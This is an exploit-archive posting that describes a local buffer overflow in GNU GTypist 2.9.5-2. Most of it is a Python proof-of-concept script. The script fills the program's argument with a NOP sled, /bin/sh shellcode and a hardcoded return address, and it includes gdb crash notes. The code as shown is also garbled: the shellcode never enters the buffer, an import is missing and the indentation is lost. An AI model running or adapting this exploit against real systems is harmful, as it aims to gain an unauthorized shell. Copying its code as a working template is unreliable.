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GNU GTypist 2.9.5-2 Buffer Overflow

GNU GTypist 2.9.5-2 Buffer Overflow
Posted Oct 27, 2016
Authored by Juan Sacco

GNU GTypist version 2.9.5-2 suffers from a local buffer overflow vulnerability.

tags | exploit, overflow, local
SHA-256 | aca27f7beb816e6d106680dbf916adb2771add6d5cbaebabc7713506fb51dc00

GNU GTypist 2.9.5-2 Buffer Overflow

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# Exploit developed using Exploit Pack v6.5
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
# jsacco@exploitpack.com
# Program affected: GNU Typist
# Affected value: ARG0
# Version: 2.9.5-2
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: Simple ncurses touch typing tutor
# Displays exercise lines, measures your typing speed and
# accuracy, and displays the results

# Kali Linux 2.0 package: pool/main/g/gtypist/gtypist_2.9.5-2_i386.deb
# MD5sum: 7ca59c5c0c494e41735b7be676401357
# Website: http://www.gnu.org/software/gtypist/

# gdb$ run `python -c 'print "A"*4098'`
# 0xb7e95def in __strcpy_chk () from /lib/i386-linux-gnu/libc.so.6
# 0x0804bf30 in ?? ()
# 0xb7dbb5f7 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
# 0x0804c393 in ?? ()


import os, subprocess

def run():
try:
print "# GNU GTypist - Local Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
# NOPSLED + SHELLCODE + EIP

buffersize = 4098
nopsled = "\x90"*30
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x08\xec\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
subprocess.call(["gtypist ",' ', buffer])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, GNU GTypist - Not found!"
else:
print "Error executing exploit"
raise

def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)

if __name__ == '__main__':
try:
print "Exploit GNU GTypist - Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:
howtousage()
run()
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